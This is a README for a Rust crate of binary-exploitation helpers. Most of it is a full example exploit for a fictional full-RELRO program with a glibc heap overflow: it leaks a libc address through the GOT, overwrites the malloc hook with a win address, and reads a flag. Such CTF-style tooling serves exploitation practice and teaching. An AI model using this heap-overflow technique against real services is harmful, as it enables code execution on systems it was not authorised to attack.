Pwn-Helper

A Rust crate intended to help you with exploiting a program.

This is still very work in progress, feature requests/bug reports are appreciated.

Real life examples

Here is an example solution for a fictional full RELRO program that suffers from a glibc heap overflow:

```rust use std::net::TcpStream;

use pwnhelper::{ bytes::{bytes, concatbytes, ljust}, io::{PwnIoRead, PwnIoWrite}, numbers::{decimal, p64, u64}, };

const WINADDR: u64 = 0x69420; const GOTPUTSADDR: u64 = 0x92c08; const DYNLIBCPUTSADDR: u64 = 0x666c0; const DYNLIBCMALLOCHOOKADDR: u64 = 0x396650;

fn buyitem(remote: &mut TcpStream, itemindex: u8) { remote.receiveuntil(b"> ", false).unwrap(); remote.sendline(b"buy").unwrap(); remote.receiveuntil(b": ", false).unwrap(); remote.sendline(decimal(itemindex).asbytes()).unwrap(); }

fn renameitem(remote: &mut TcpStream, oldname: &[u8], newname: &[u8]) { remote.receiveuntil(b"> ", false).unwrap(); remote.sendline(b"rename").unwrap(); remote.receiveuntil(b": ", false).unwrap(); remote.sendline(oldname).unwrap(); remote.receiveuntil(b": ", false).unwrap(); remote.sendline(new_name).unwrap(); }

fn listitems(remote: &mut TcpStream) -> Vec> { remote.receiveuntil(b"> ", false).unwrap(); remote.sendline(b"list").unwrap(); remote.receiveuntil(b":\n", false).unwrap(); let mut line = remote.receive_line(true).unwrap(); let mut out = Vec::new();

while line.starts_with(b"Item: ") {
    out.push(line[6..].to_owned());
    line = remote.receive_line(false).unwrap();
}

out

}

fn main() { let mut remote = TcpStream::connect("some.vulnerable.server:42069").unwrap();

buy_item(&mut remote, 1);
buy_item(&mut remote, 3);

rename_item(&mut remote, b"Sword", bytes!(b'A' * 0x29));
rename_item(
    &mut remote,
    b"AAAA",
    &concat_bytes(
        bytes!(b'A' * 0x20),
        &p64(GOT_PUTS_ADDR, pwn_helper::Endianness::Little),
    ),
);

let names = list_items(&mut remote);

let libc_puts_addr = u64(&ljust(&names[1], 0, 8), pwn_helper::Endianness::Little);
let libc_base = libc_puts_addr - DYN_LIBC_PUTS_ADDR;
log::info!("Libc Base: {:#x}", libc_base);

let libc_malloc_hook_addr = libc_base + DYN_LIBC_MALLOC_HOOK_ADDR;
rename_item(&mut remote, &names[0], b"AA");
rename_item(&mut remote, b"AA", bytes!(b'A' * 0x29));
rename_item(
    &mut remote,
    b"A",
    &concat_bytes(
        bytes!(b'A' * 0x20),
        &p64(libc_malloc_hook_addr, pwn_helper::Endianness::Little),
    ),
);

// Malloc hook will currently be a NULL ptr
rename_item(
    &mut remote,
    b"",
    &p64(WIN_ADDR, pwn_helper::Endianness::Little),
);
remote.receive_until(b"> ", false).unwrap();

let flag = String::from_utf8(remote.receive_until(b"}", false).unwrap()).unwrap();
println!("Flag: {}", flag);

}

```

Others

License

This crate is licensed under MIT, the license is here

Credits